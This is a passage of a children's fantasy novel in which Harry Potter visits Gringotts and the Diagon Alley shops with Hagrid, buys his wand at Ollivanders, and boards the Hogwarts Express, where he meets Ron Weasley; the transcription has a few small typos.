hall. + +"What's the You-Know-What in vault seven hundred and thirteen?" Harry +asked. + +"Can't tell yeh that," said Hagrid mysteriously. "Very secret. Hogwarts +business. Dumbledore's trusted me. More'n my job's worth ter tell yeh +that." + +Griphook held the door open for them. Harry, who had expected more +marble, was surprised. They were in a narrow stone passageway lit with +flaming torches. It sloped steeply downward and there were little +railway tracks on the floor. Griphook whistled and a small cart came +hurtling up the tracks toward them. They climbed in -- Hagrid with some +difficulty -- and were off. + +At first they just hurtled through a maze of twisting passages. Harry +tried to remember, left, right, right, left, middle fork, right, left, +but it was impossible. The rattling cart seemed to know its own way, +because Griphook wasn't steering. + +Harry's eyes stung as the cold air rushed past them, but he kept them +wide open. Once, he thought he saw a burst of fire at the end of a +passage and twisted around to see if it was a dragon, but too late - - +they plunged even deeper, passing an underground lake where huge +stalactites and stalagmites grew from the ceiling and floor. + +I never know," Harry called to Hagrid over the noise of the cart, +"what's the difference between a stalagmite and a stalactite?" + +"Stalagmite's got an 'm' in it," said Hagrid. "An' don' ask me questions +just now, I think I'm gonna be sick." + +He did look very green, and when the cart stopped at last beside a small +door in the passage wall, Hagrid got out and had to lean against the +wall to stop his knees from trembling. + +Griphook unlocked the door. A lot of green smoke came billowing out, and +as it cleared, Harry gasped. Inside were mounds of gold coins. Columns +of silver. Heaps of little bronze Knuts. + +"All yours," smiled Hagrid. + +All Harry's -- it was incredible. The Dursleys couldn't have known about +this or they'd have had it from him faster than blinking. How often had +they complained how much Harry cost them to keep? And all the time there +had been a small fortune belonging to him, buried deep under London. + +Hagrid helped Harry pile some of it into a bag. + +"The gold ones are Galleons," he explained. "Seventeen silver Sickles to +a Galleon and twenty-nine Knuts to a Sickle, it's easy enough. Right, +that should be enough fer a couple o' terms, we'll keep the rest safe +for yeh." He turned to Griphook. "Vault seven hundred and thirteen now, +please, and can we go more slowly?" + +"One speed only," said Griphook. + +They were going even deeper now and gathering speed. The air became +colder and colder as they hurtled round tight corners. They went +rattling over an underground ravine, and Harry leaned over the side to +try to see what was down at the dark bottom, but Hagrid groaned and +pulled him back by the scruff of his neck. + +Vault seven hundred and thirteen had no keyhole. + +"Stand back," said Griphook importantly. He stroked the door gently with +one of his long fingers and it simply melted away. + +"If anyone but a Gringotts goblin tried that, they'd be sucked through +the door and trapped in there," said Griphook. + +"How often do you check to see if anyone's inside?" Harry asked. + +"About once every ten years," said Griphook with a rather nasty grin. + +Something really extraordinary had to be inside this top security vault, +Harry was sure, and he leaned forward eagerly, expecting to see fabulous +jewels at the very least -- but at first he thought it was empty. Then +he noticed a grubby little package wrapped up in brown paper lying on +the floor. Hagrid picked it up and tucked it deep inside his coat. Harry +longed to know what it was, but knew better than to ask. + +"Come on, back in this infernal cart, and don't talk to me on the way +back, it's best if I keep me mouth shut," said Hagrid. + +One wild cart ride later they stood blinking in the sunlight outside +Gringotts. Harry didn't know where to run first now that he had a bag +full of money. He didn't have to know how many Galleons there were to a +pound to know that he was holding more money than he'd had in his whole +life -- more money than even Dudley had ever had. + +"Might as well get yer uniform," said Hagrid, nodding toward Madam +Malkin's Robes for All Occasions. "Listen, Harry, would yeh mind if I +slipped off fer a pick-me-up in the Leaky Cauldron? I hate them +Gringotts carts." He did still look a bit sick, so Harry entered Madam +Malkin's shop alone, feeling nervous. + +Madam Malkin was a squat, smiling witch dressed all in mauve. + +"Hogwarts, clear?" she said, when Harry started to speak. "Got the lot +here -- another young man being fitted up just now, in fact. " + +In the back of the shop, a boy with a pale, pointed face was standing on +a footstool while a second witch pinned up his long black robes. Madam +Malkin stood Harry on a stool next to him) slipped a long robe over his +head, and began to pin it to the right length. + +"Hello," said the boy, "Hogwarts, too?" + +"Yes," said Harry. + +"My father's next door buying my books and mother's up the street +looking at wands," said the boy. He had a bored, drawling voice. "Then +I'm going to drag them off to took at racing brooms. I don't see why +first years can't have their own. I think I'll bully father into getting +me one and I'll smuggle it in somehow." + +Harry was strongly reminded of Dudley. + +"Have you got your own broom?" the boy went on. + +"No," said Harry. + +"Play Quidditch at all?" + +"No," Harry said again, wondering what on earth Quidditch could be. + +"I do -- Father says it's a crime if I'm not picked to play for my +house, and I must say, I agree. Know what house you'll be in yet?" + +"No," said Harry, feeling more stupid by the minute. + +"Well, no one really knows until they get there, do they, but I know +I'll be in Slytherin, all our family have been -- imagine being in +Hufflepuff, I think I'd leave, wouldn't you?" "Mmm," said Harry, wishing +he could say something a bit more interesting. + +"I say, look at that man!" said the boy suddenly, nodding toward the +front window. Hagrid was standing there, grinning at Harry and pointing +at two large ice creams to show he couldn't come in. + +"That's Hagrid," said Harry, pleased to know something the boy didn't. +"He works at Hogwarts." + +"Oh," said the boy, "I've heard of him. He's a sort of servant, isn't +he?" + +"He's the gamekeeper," said Harry. He was liking the boy less and less +every second. + +"Yes, exactly. I heard he's a sort of savage -- lives in a hut on the +school grounds and every now and then he gets drunk, tries to do magic, +and ends up setting fire to his bed." + +"I think he's brilliant," said Harry coldly. + +"Do you?" said the boy, with a slight sneer. "Why is he with you? Where +are your parents?" + +"They're dead," said Harry shortly. He didn't feel much like going into +the matter with this boy. + +"Oh, sorry," said the other,. not sounding sorry at all. "But they were +our kind, weren't they?" + +"They were a witch and wizard, if that's what you mean." + +"I really don't think they should let the other sort in, do you? They're +just not the same, they've never been brought up to know our ways. Some +of them have never even heard of Hogwarts until they get the letter, +imagine. I think they should keep it in the old wizarding families. +What's your surname, anyway?" + +But before Harry could answer, Madam Malkin said, "That's you done, my +dear," and Harry, not sorry for an excuse to stop talking to the boy, +hopped down from the footstool. + +"Well, I'll see you at Hogwarts, I suppose," said the drawling boy. + +Harry was rather quiet as he ate the ice cream Hagrid had bought him +(chocolate and raspberry with chopped nuts). + +"What's up?" said Hagrid. + +"Nothing," Harry lied. They stopped to buy parchment and quills. Harry +cheered up a bit when he found a bottle of ink that changed color as you +wrote. When they had left the shop, he said, "Hagrid, what's Quidditch?" + +"Blimey, Harry, I keep forgettin' how little yeh know -- not knowin' +about Quidditch!" + +"Don't make me feel worse," said Harry. He told Hagrid about the pate +boy in Madam Malkin's. + +"--and he said people from Muggle families shouldn't even be allowed +in." + +"Yer not from a Muggle family. If he'd known who yeh were -- he's grown +up knowin' yer name if his parents are wizardin' folk. You saw what +everyone in the Leaky Cauldron was like when they saw yeh. Anyway, what +does he know about it, some o' the best I ever saw were the only ones +with magic in 'em in a long line 0' Muggles -- look at yer mum! Look +what she had fer a sister!" + +"So what is Quidditch?" + +"It's our sport. Wizard sport. It's like -- like soccer in the Muggle +world -- everyone follows Quidditch -- played up in the air on +broomsticks and there's four balls -- sorta hard ter explain the rules." +"And what are Slytherin and Hufflepuff?" + +"School houses. There's four. Everyone says Hufflepuff are a lot o' +duffers, but --" + +"I bet I'm in Hufflepuff" said Harry gloomily. + +"Better Hufflepuff than Slytherin," said Hagrid darkly. "There's not a +single witch or wizard who went bad who wasn't in Slytherin. +You-Know-Who was one." + +"Vol-, sorry - You-Know-Who was at Hogwarts?" + +"Years an' years ago," said Hagrid. + +They bought Harry's school books in a shop called Flourish and Blotts +where the shelves were stacked to the ceiling with books as large as +paving stones bound in leather; books the size of postage stamps in +covers of silk; books full of peculiar symbols and a few books with +nothing in them at all. Even Dudley, who never read anything, would have +been wild to get his hands on some of these. Hagrid almost had to drag +Harry away from Curses and Countercurses (Bewitch Your Friends and +Befuddle Your Enemies with the Latest Revenges: Hair Loss, Jelly-Legs, +Tongue- Tying and Much, Much More) by Professor Vindictus Viridian. + +"I was trying to find out how to curse Dudley." + +"I'm not sayin' that's not a good idea, but yer not ter use magic in the +Muggle world except in very special circumstances," said Hagrid. "An' +anyway, yeh couldn' work any of them curses yet, yeh'll need a lot more +study before yeh get ter that level." + +Hagrid wouldn't let Harry buy a solid gold cauldron, either ("It says +pewter on yer list"), but they got a nice set of scales for weighing +potion ingredients and a collapsible brass telescope. Then they visited +the Apothecary, which was fascinating enough to make up for its horrible +smell, a mixture of bad eggs and rotted cabbages. Barrels of slimy stuff +stood on the floor; jars of herbs, dried roots, and bright powders lined +the walls; bundles of feathers, strings of fangs, and snarled claws hung +from the ceiling. While Hagrid asked the man behind the counter for a +supply of some basic potion ingredients for Harry, Harry himself +examined silver unicorn horns at twenty-one Galleons each and minuscule, +glittery-black beetle eyes (five Knuts a scoop). + +Outside the Apothecary, Hagrid checked Harry's list again. + +"Just yer wand left - A yeah, an' I still haven't got yeh a birthday +present." + +Harry felt himself go red. + +"You don't have to --" + +"I know I don't have to. Tell yeh what, I'll get yer animal. Not a toad, +toads went outta fashion years ago, yeh'd be laughed at - an' I don' +like cats, they make me sneeze. I'll get yer an owl. All the kids want +owls, they're dead useful, carry yer mail an' everythin'." + +Twenty minutes later, they left Eeylops Owl Emporium, which had been +dark and full of rustling and flickering, jewel-bright eyes. Harry now +carried a large cage that held a beautiful snowy owl, fast asleep with +her head under her wing. He couldn't stop stammering his thanks, +sounding just like Professor Quirrell. + +"Don' mention it," said Hagrid gruffly. "Don' expect you've had a lotta +presents from them Dursleys. Just Ollivanders left now - only place fer +wands, Ollivanders, and yeh gotta have the best wand." + +A magic wand... this was what Harry had been really looking forward to. + +The last shop was narrow and shabby. Peeling gold letters over the door +read Ollivanders: Makers of Fine Wands since 382 B.C. A single wand lay +on a faded purple cushion in the dusty window. + +A tinkling bell rang somewhere in the depths of the shop as they stepped +inside. It was a tiny place, empty except for a single, spindly chair +that Hagrid sat on to wait. Harry felt strangely as though he had +entered a very strict library; he swallowed a lot of new questions that +had just occurred to him and looked instead at the thousands of narrow +boxes piled neatly right up to the ceiling. For some reason, the back of +his neck prickled. The very dust and silence in here seemed to tingle +with some secret magic. + +"Good afternoon," said a soft voice. Harry jumped. Hagrid must have +jumped, too, because there was a loud crunching noise and he got quickly +off the spindly chair. + +An old man was standing before them, his wide, pale eyes shining like +moons through the gloom of the shop. + +"Hello," said Harry awkwardly. + +"Ah yes," said the man. "Yes, yes. I thought I'd be seeing you soon. +Harry Potter." It wasn't a question. "You have your mother's eyes. It +seems only yesterday she was in here herself, buying her first wand. Ten +and a quarter inches long, swishy, made of willow. Nice wand for charm +work." + +Mr. Ollivander moved closer to Harry. Harry wished he would blink. Those +silvery eyes were a bit creepy. + +"Your father, on the other hand, favored a mahogany wand. Eleven inches. +Pliable. A little more power and excellent for transfiguration. Well, I +say your father favored it -- it's really the wand that chooses the +wizard, of course." + +Mr. Ollivander had come so close that he and Harry were almost nose to +nose. Harry could see himself reflected in those misty eyes. + +"And that's where..." + +Mr. Ollivander touched the lightning scar on Harry's forehead with a +long, white finger. + +"I'm sorry to say I sold the wand that did it," he said softly. +"Thirteen-and-a-half inches. Yew. Powerful wand, very powerful, and in +the wrong hands... well, if I'd known what that wand was going out into +the world to do...." + +He shook his head and then, to Harry's relief, spotted Hagrid. + +"Rubeus! Rubeus Hagrid! How nice to see you again.... Oak, sixteen +inches, rather bendy, wasn't it?" + +"It was, sir, yes," said Hagrid. + +"Good wand, that one. But I suppose they snapped it in half when you got +expelled?" said Mr. Ollivander, suddenly stern. + +"Er -- yes, they did, yes," said Hagrid, shuffling his feet. "I've still +got the pieces, though," he added brightly. + +"But you don't use them?" said Mr. Ollivander sharply. + +"Oh, no, sit," said Hagrid quickly. Harry noticed he gripped his pink +umbrella very tightly as he spoke. + +"Hmmm," said Mr. Ollivander, giving Hagrid a piercing look. "Well, now +-- Mr. Potter. Let me see." He pulled a long tape measure with silver +markings out of his pocket. "Which is your wand arm?" + +"Er -- well, I'm right-handed," said Harry. + +"Hold out your arm. That's it." He measured Harry from shoulder to +finger, then wrist to elbow, shoulder to floor, knee to armpit and round +his head. As he measured, he said, "Every Ollivander wand has a core of +a powerful magical substance, Mr. Potter. We use unicorn hairs, phoenix +tail feathers, and the heartstrings of dragons. No two Ollivander wands +are the same, just as no two unicorns, dragons, or phoenixes are quite +the same. And of course, you will never get such good results with +another wizard's wand." + +Harry suddenly realized that the tape measure, which was measuring +between his nostrils, was doing this on its own. Mr. Ollivander was +flitting around the shelves, taking down boxes. + +"That will do," he said, and the tape measure crumpled into a heap on +the floor. "Right then, Mr. Potter. Try this one. Beechwood and dragon +heartstring. Nine inches. Nice and flexible. just take it and give it a +wave." + +Harry took the wand and (feeling foolish) waved it around a bit, but Mr. +Ollivander snatched it out of his hand almost at once. + +"Maple and phoenix feather. Seven inches. Quite whippy. Try --" + +Harry tried -- but he had hardly raised the wand when it, too, was +snatched back by Mr. Ollivander. + +"No, no -here, ebony and unicorn hair, eight and a half inches, springy. +Go on, go on, try it out." + +Harry tried. And tried. He had no idea what Mr. Ollivander was waiting +for. The pile of tried wands was mounting higher and higher on the +spindly chair, but the more wands Mr. Ollivander pulled from the +shelves, the happier he seemed to become. + +"Tricky customer, eh? Not to worry, we'll find the perfect match here +somewhere -- I wonder, now - - yes, why not -- unusual combination -- +holly and phoenix feather, eleven inches, nice and supple." + +Harry took the wand. He felt a sudden warmth in his fingers. He raised +the wand above his head, brought it swishing down through the dusty air +and a stream of red and gold sparks shot from the end like a firework, +throwing dancing spots of light on to the walls. Hagrid whooped and +clapped and Mr. Ollivander cried, "Oh, bravo! Yes, indeed, oh, very +good. Well, well, well... how curious... how very curious... " + +He put Harry's wand back into its box and wrapped it in brown paper, +still muttering, "Curious... curious.. + +"Sorry," said Harry, "but what's curious?" + +Mr. Ollivander fixed Harry with his pale stare. + +"I remember every wand I've ever sold, Mr. Potter. Every single wand. It +so happens that the phoenix whose tail feather is in your wand, gave +another feather -- just one other. It is very curious indeed that you +should be destined for this wand when its brother why, its brother gave +you that scar." + +Harry swallowed. + +"Yes, thirteen-and-a-half inches. Yew. Curious indeed how these things +happen. The wand chooses the wizard, remember.... I think we must expect +great things from you, Mr. Potter.... After all, He- +Who-Must-Not-Be-Named did great things -- terrible, yes, but great." + +Harry shivered. He wasn't sure he liked Mr. Ollivander too much. He paid +seven gold Galleons for his wand, and Mr. Ollivander bowed them from his +shop. + +The late afternoon sun hung low in the sky as Harry and Hagrid made +their way back down Diagon Alley, back through the wall, back through +the Leaky Cauldron, now empty. Harry didn't speak at all as they walked +down the road; he didn't even notice how much people were gawking at +them on the Underground, laden as they were with all their funny-shaped +packages, with the snowy owl asleep in its cage on Harry's lap. Up +another escalator, out into Paddington station; Harry only realized +where they were when Hagrid tapped him on the shoulder. + +"Got time fer a bite to eat before yer train leaves," he said. + +He bought Harry a hamburger and they sat down on plastic seats to eat +them. Harry kept looking around. Everything looked so strange, somehow. + +"You all right, Harry? Yer very quiet," said Hagrid. + +Harry wasn't sure he could explain. He'd just had the best birthday of +his life -- and yet -- he chewed his hamburger, trying to find the +words. + +"Everyone thinks I'm special," he said at last. "All those people in the +Leaky Cauldron, Professor Quirrell, Mr. Ollivander... but I don't know +anything about magic at all. How can they expect great things? I'm +famous and I can't even remember what I'm famous for. I don't know what +happened when Vol-, sorry -- I mean, the night my parents died." + +Hagrid leaned across the table. Behind the wild beard and eyebrows he +wore a very kind smile. + +"Don' you worry, Harry. You'll learn fast enough. Everyone starts at the +beginning at Hogwarts, you'll be just fine. just be yerself. I know it's +hard. Yeh've been singled out, an' that's always hard. But yeh'll have a +great time at Hogwarts -- I did -- still do, 'smatter of fact." + +Hagrid helped Harry on to the train that would take him back to the +Dursleys, then handed him an envelope. + +"Yer ticket fer Hogwarts, " he said. "First o' September -- King's Cross +-- it's all on yer ticket. Any problems with the Dursleys, send me a +letter with yer owl, she'll know where to find me.... See yeh soon, +Harry." + +The train pulled out of the station. Harry wanted to watch Hagrid until +he was out of sight; he rose in his seat and pressed his nose against +the window, but he blinked and Hagrid had gone. + + +CHAPTER SIX + +THE JOURNEY FROM PLATFORM NINE AND THREE-QUARTERS + +Harry's last month with the Dursleys wasn't fun. True, Dudley was now so +scared of Harry he wouldn't stay in the same room, while Aunt Petunia +and Uncle Vernon didn't shut Harry in his cupboard, force him to do +anything, or shout at him -- in fact, they didn't speak to him at all. +Half terrified, half furious, they acted as though any chair with Harry +in it were empty. Although this was an improvement in many ways, it did +become a bit depressing after a while. + +Harry kept to his room, with his new owl for company. He had decided to +call her Hedwig, a name he had found in A History of Magic. His school +books were very interesting. He lay on his bed reading late into the +night, Hedwig swooping in and out of the open window as she pleased. It +was lucky that Aunt Petunia didn't come in to vacuum anymore, because +Hedwig kept bringing back dead mice. Every night before he went to +sleep, Harry ticked off another day on the piece of paper he had pinned +to the wall, counting down to September the first. + +On the last day of August he thought he'd better speak to his aunt and +uncle about getting to King's Cross station the next day, so he went +down to the living room where they were watching a quiz show on +television. He cleared his throat to let them know he was there, and +Dudley screamed and ran from the room. + +"Er -- Uncle Vernon?" + +Uncle Vernon grunted to show he was listening. + +"Er -- I need to be at King's Cross tomorrow to -- to go to Hogwarts." + +Uncle Vernon grunted again. + +"Would it be all right if you gave me a lift?" + +Grunt. Harry supposed that meant yes. + +"Thank you." + +He was about to go back upstairs when Uncle Vernon actually spoke. + +"Funny way to get to a wizards' school, the train. Magic carpets all got +punctures, have they?" + +Harry didn't say anything. + +"Where is this school, anyway?" + +"I don't know," said Harry, realizing this for the first time. He pulled +the ticket Hagrid had given him out of his pocket. + +"I just take the train from platform nine and three-quarters at eleven +o'clock," he read. + +His aunt and uncle stared. + +"Platform what?" + +"Nine and three-quarters." + +"Don't talk rubbish," said Uncle Vernon. "There is no platform nine and +three-quarters." + +"It's on my ticket." + +"Barking," said Uncle Vernon, "howling mad, the lot of them. You'll see. +You just wait. All right, we'll take you to King's Cross. We're going up +to London tomorrow anyway, or I wouldn't bother." + +"Why are you going to London?" Harry asked, trying to keep things +friendly. + +"Taking Dudley to the hospital," growled Uncle Vernon. "Got to have that +ruddy tail removed before he goes to Smeltings." + +Harry woke at five o'clock the next morning and was too excited and +nervous to go back to sleep. He got up and pulled on his jeans because +he didn't want to walk into the station in his wizard's robes -- he'd +change on the train. He checked his Hogwarts list yet again to make sure +he had everything he needed, saw that Hedwig was shut safely in her +cage, and then paced the room, waiting for the Dursleys to get up. Two +hours later, Harry's huge, heavy trunk had been loaded into the +Dursleys' car, Aunt Petunia had talked Dudley into sitting next to +Harry, and they had set off. + +They reached King's Cross at half past ten. Uncle Vernon dumped Harry's +trunk onto a cart and wheeled it into the station for him. Harry thought +this was strangely kind until Uncle Vernon stopped dead, facing the +platforms with a nasty grin on his face. + +"Well, there you are, boy. Platform nine -- platform ten. Your platform +should be somewhere in the middle, but they don't seem to have built it +yet, do they?" + +He was quite right, of course. There was a big plastic number nine over +one platform and a big plastic number ten over the one next to it, and +in the middle, nothing at all. + +"Have a good term," said Uncle Vernon with an even nastier smile. He +left without another word. Harry turned and saw the Dursleys drive away. +All three of them were laughing. Harry's mouth went rather dry. What on +earth was he going to do? He was starting to attract a lot of funny +looks, because of Hedwig. He'd have to ask someone. + +He stopped a passing guard, but didn't dare mention platform nine and +three-quarters. The guard had never heard of Hogwarts and when Harry +couldn't even tell him what part of the country it was in, he started to +get annoyed, as though Harry was being stupid on purpose. Getting +desperate, Harry asked for the train that left at eleven o'clock, but +the guard said there wasn't one. In the end the guard strode away, +muttering about time wasters. Harry was now trying hard not to panic. +According to the large clock over the arrivals board, he had ten minutes +left to get on the train to Hogwarts and he had no idea how to do it; he +was stranded in the middle of a station with a trunk he could hardly +lift, a pocket full of wizard money, and a large owl. + +Hagrid must have forgotten to tell him something you had to do, like +tapping the third brick on the left to get into Diagon Alley. He +wondered if he should get out his wand and start tapping the ticket +inspector's stand between platforms nine and ten. + +At that moment a group of people passed just behind him and he caught a +few words of what they were saying. + +"-- packed with Muggles, of course --" + +Harry swung round. The speaker was a plump woman who was talking to four +boys, all with flaming red hair. Each of them was pushing a trunk like +Harry's in front of him -- and they had an owl. + +Heart hammering, Harry pushed his cart after them. They stopped and so +did he, just near enough to hear what they were saying. + +"Now, what's the platform number?" said the boys' mother. + +"Nine and three-quarters!" piped a small girl, also red-headed, who was +holding her hand, "Mom, can't I go... " + +"You're not old enough, Ginny, now be quiet. All right, Percy, you go +first." + +What looked like the oldest boy marched toward platforms nine and ten. +Harry watched, careful not to blink in case he missed it -- but just as +the boy reached the dividing barrier between the two platforms, a large +crowd of tourists came swarming in front of him and by the time the last +backpack had cleared away, the boy had vanished. + +"Fred, you next," the plump woman said. + +"I'm not Fred, I'm George," said the boy. "Honestly, woman, you call +yourself our mother? CarA you tell I'm George?" + +"Sorry, George, dear." + +"Only joking, I am Fred," said the boy, and off he went. His twin called +after him to hurry up, and he must have done so, because a second later, +he had gone -- but how had he done it? + +Now the third brother was walking briskly toward the barrier he was +almost there -- and then, quite suddenly, he wasn't anywhere. + +There was nothing else for it. + +"Excuse me," Harry said to the plump woman. + +"Hello, dear," she said. "First time at Hogwarts? Ron's new, too." + +She pointed at the last and youngest of her sons. He was tall, thin, and +gangling, with freckles, big hands and feet, and a long nose. + +"Yes," said Harry. "The thing is -- the thing is, I don't know how to +--" + +"How to get onto the platform?" she said kindly, and Harry nodded. + +"Not to worry," she said. "All you have to do is walk straight at the +barrier between platforms nine and ten. Don't stop and don't be scared +you'll crash into it, that's very important. Best do it at a bit of a +run if you're nervous. Go on, go now before Ron." + +"Er -- okay," said Harry. + +He pushed his trolley around and stared at the barrier. It looked very +solid. + +He started to walk toward it. People jostled him on their way to +platforms nine and ten. Harry walked more quickly. He was going to smash +right into that barrier and then he'd be in trouble -- leaning forward +on his cart, he broke into a heavy run -- the barrier was coming nearer +and nearer -- he wouldn't be able to stop -- the cart was out of control +-- he was a foot away -- he closed his eyes ready for the crash -- + +It didn't come... he kept on running... he opened his eyes. A scarlet +steam engine was waiting next to a platform packed with people. A sign +overhead said Hogwarts Express, eleven O'clock. Harry looked behind him +and saw a wrought-iron archway where the barrier had been, with the +words Platform Nine and Three-Quarters on it, He had done it. + +Smoke from the engine drifted over the heads of the chattering crowd, +while cats of every color wound here and there between their legs. Owls +hooted to one another in a disgruntled sort of way over the babble and +the scraping of heavy trunks. + +The first few carriages were already packed with students, some hanging +out of the window to talk to their families, some fighting over seats. +Harry pushed his cart off down the platform in search of an empty seat. +He passed a round-faced boy who was saying, "Gran, I've lost my toad +again." + +"Oh, Neville," he heard the old woman sigh. + +A boy with dreadlocks was surrounded by a small crowd. + +"Give us a look, Lee, go on." + +The boy lifted the lid of a box in his arms, and the people around him +shrieked and yelled as something inside poked out a long, hairy leg. + +Harry pressed on through the crowd until he found an empty compartment +near the end of the train. He put Hedwig inside first and then started +to shove and heave his trunk toward the train door. He tried to lift it +up the steps but could hardly raise one end and twice he dropped it +painfully on his foot. + +"Want a hand?" It was one of the red-haired twins he'd followed through +the barrier. + +"Yes, please," Harry panted. + +"Oy, Fred! C'mere and help!" + +With the twins' help, Harry's trunk was at last tucked away in a corner +of the compartment. + +"Thanks," said Harry, pushing his sweaty hair out of his eyes. + +"What's that?" said one of the twins suddenly, pointing at Harry's +lightning scar. + +"Blimey," said the other twin. "Are you + +"He is," said the first twin. "Aren't you?" he added to Harry. + +"What?" said Harry. + +"Harry Potter, "chorused the twins. + +"Oh, him," said Harry. "I mean, yes, I am." + +The two boys gawked at him, and Harry felt himself turning red. Then, to +his relief, a voice came floating in through the train's open door. + +"Fred? George? Are you there?" + +"Coming, Mom." + +With a last look at Harry, the twins hopped off the train. + +Harry sat down next to the window where, half hidden, he could watch the +red-haired family on the platform and hear what they were saying. Their +mother had just taken out her handkerchief. + +"Ron, you've got something on your nose." + +The youngest boy tried to jerk out of the way, but she grabbed him and +began rubbing the end of his nose. + +"Mom -- geroff" He wriggled free. + +"Aaah, has ickle Ronnie got somefink on his nosie?" said one of the +twins. + +"Shut up," said Ron. + +"Where's Percy?" said their mother. + +"He's coming now." + +The oldest boy came striding into sight. He had already changed into his +billowing black Hogwarts robes, and Harry noticed a shiny silver badge +on his chest with the letter P on it. + +"Can't stay long, Mother," he said. "I'm up front, the prefects have got +two compartments to themselves --" + +"Oh, are you a prefect, Percy?" said one of the twins, with an air of +great surprise. "You should have said something, we had no idea." + +"Hang on, I think I remember him saying something about it," said the +other twin. "Once --" + +"Or twice --" + +"A minute --" + +"All summer --" + +"Oh, shut up," said Percy the Prefect. + +"How come Percy gets new robes, anyway?" said one of the twins. + +"Because he's a prefect," said their mother fondly. "All right, dear, +well, have a good term -- send me an owl when you get there." + +She kissed Percy on the cheek and he left. Then she turned to the twins. + +"Now, you two -- this year, you behave yourselves. If I get one more owl +telling me you've -- you've blown up a toilet or --" + +"Blown up a toilet? We've never blown up a toilet." + +"Great idea though, thanks, Mom." + +"It's not funny. And look after Ron." + +"Don't worry, ickle Ronniekins is safe with us." + +"Shut up," said Ron again. He was almost as tall as the twins already +and his nose was still pink where his mother had rubbed it. + +"Hey, Mom, guess what? Guess who we just met on the train?" + +Harry leaned back quickly so they couldn't see him looking. + +"You know that black-haired boy who was near us in the station? Know who +he is?" + +"Who?" + +"Harry Potter!" + +Harry heard the little girl's voice. + +"Oh, Mom, can I go on the train and see him, Mom, eh please...." + +"You've already seen him, Ginny, and the poor boy isn't something you +goggle at in a zoo. Is he really, Fred? How do you know?" + +"Asked him. Saw his scar. It's really there - like lightning." + +"Poor dear - no wonder he was alone, I wondered. He was ever so polite +when he asked how to get onto the platform." + +"Never mind that, do you think he remembers what You-Know-Who looks +like?" + +Their mother suddenly became very stern. + +"I forbid you to ask him, Fred. No, don't you dare. As though he needs +reminding of that on his first day at school." + +"All right, keep your hair on." + +A whistle sounded. + +"Hurry up!" their mother said, and the three boys clambered onto the +train. They leaned out of the window for her to kiss them good-bye, and +their younger sister began to cry. + +"Don't, Ginny, we'll send you loads of owls." + +"We'll send you a Hogwarts toilet seat." + +"George!" + +"Only joking, Mom." + +The train began to move. Harry saw the boys' mother waving and their +sister, half laughing, half crying, running to keep up with the train +until it gathered too much speed, then she fell back and waved. + +Harry watched the girl and her mother disappear as the train rounded the +corner. Houses flashed past the window. Harry felt a great leap of +excitement. He didn't know what he was going to but it had to be better +than what he was leaving behind. + +The door of the compartment slid open and the youngest redheaded boy +came in. + +"Anyone sitting there?" he asked, pointing at the seat opposite Harry. +"Everywhere else is full." + +Harry shook his head and the boy sat down. He glanced at Harry and then +looked quickly out of the window, pretending he hadn't looked. Harry saw +he still had a black mark on his nose. + +"Hey, Ron." + +The twins were back. + +"Listen, we're going down the middle of the train -- Lee Jordan's got a +giant tarantula down there." + +"Right," mumbled Ron. + +"Harry," said the other twin, "did we introduce ourselves? Fred and +George Weasley. And this is Ron, our brother. See you later, then. + +"Bye," said Harry and Ron. The twins slid the compartment door shut +behind them. + +"Are you really Harry Potter?" Ron blurted out. + +Harry nodded. + +"Oh -well, I thought it might be one of Fred and George's jokes," said +Ron. "And have you really got -- you know..." + +He pointed at Harry's forehead. + +Harry pulled back his bangs to show the lightning scar. Ron stared. + +"So that's where You-Know-Who + +"Yes," said Harry, "but I can't remember it." + +"Nothing?" said Ron eagerly. + +"Well -- I remember a lot of green light, but nothing else." + +"Wow," said Ron. He sat and stared at Harry for a few moments, then, as +though he had suddenly realized what he was doing, he looked quickly out +of the window again. + +"Are all your family wizards?" asked Harry, who found Ron just as +interesting as Ron found him. + +"Er -- Yes, I think so," said Ron. "I think Mom's got a second cousin +who's an accountant, but we never talk about him." + +"So you must know loads of magic already." + +The Weasleys were clearly one of those old wizarding families the pale +boy in Diagon Alley had talked about. + +"I heard you went to live with Muggles," said Ron. "What are they like?" + +"Horrible -well, not all of them. My aunt and uncle and cousin are, +though. Wish I'd had three wizard brothers." + +"Five," said Ron. For some reason, he was looking gloomy. "I'm the sixth +in our family to go to Hogwarts. You could say I've got a lot to live up +to. Bill and Charlie have already left -- Bill was head boy and Charlie +was captain of Quidditch. Now Percy's a prefect. Fred and George mess +around a lot, but they still get really good marks and everyone thinks +they're really funny. Everyone expects me to do as well as the others, +but if I do, it's no big deal, because they did it first. You never get +anything new, either, with five brothers. I've got Bill's old robes, +Charlie's old wand, and Percy's old rat." + +Ron reached inside his jacket and pulled out a fat gray rat, which was +asleep. + +"His name's Scabbers and he's useless, he hardly ever wakes up. Percy +got an owl from my dad for being made a prefect, but they couldn't aff +-- I mean, I got Scabbers instead." + +Ron's ears went pink. He seemed to think he'd said too much, because he +went back to staring out of the window. + +Harry didn't think there was anything wrong with not being able to +afford an owl. After all, he'd never had any money in his life until a +month ago, and he told Ron so, all about having to wear Dudley's old +clothes and never getting proper birthday presents. This seemed to cheer +Ron up. + +"... and until Hagrid told me, I didn't know anything about be ing a +wizard or about my parents or Voldemort" + +Ron gasped. + +"What?" said Harry. + +"You said You-Know-Who's name!" said Ron, sounding both shocked and +impressed. "I'd have thought you, of all people --" + +"I'm not trying to be brave or anything, saying the name," said Harry, I +just never knew you shouldn't. See what I mean? I've got loads to +learn.... I bet," he added, voicing for the first time something that +had been worrying him a lot lately, "I bet I'm the worst in the class." + +"You won't be. There's loads of people who come from Muggle families and +they learn quick enough." + +While they had been talking, the train had carried them out of London. +Now they were speeding past fields full of cows and sheep. They were +quiet for a time, watching the fields and lanes flick past. + +Around half past twelve there was a great clattering outside in the +corridor and a smiling, dimpled woman slid back their door and said, +"Anything off the cart, dears?" + +Harry, who hadn't had any breakfast, leapt to his feet, but Ron's ears +went pink again and he muttered that he'd brought sandwiches. Harry went +out into the corridor. + +He had never had any money for candy with the Dursleys, and now that he +had pockets rattling with gold and silver he was ready to buy as many +Mars Bars as he could carry -- but the woman didn't have Mars Bars. What +she did have were Bettie Bott's Every Flavor Beans, Drooble's Best +Blowing Gum, Chocolate Frogs. Pumpkin Pasties, Cauldron Cakes, Licorice +Wands, and a number of other strange things Harry had never seen in his +life. Not wanting to miss anything, he got some of everything and paid +the woman eleven silver Sickles and seven bronze Knuts. + +Ron stared as Harry brought it all back in to the compartment and tipped +it onto an empty seat. + +"Hungry, are you?" + +"Starving," said Harry, taking a large bite out of a pumpkin pasty. + +Ron 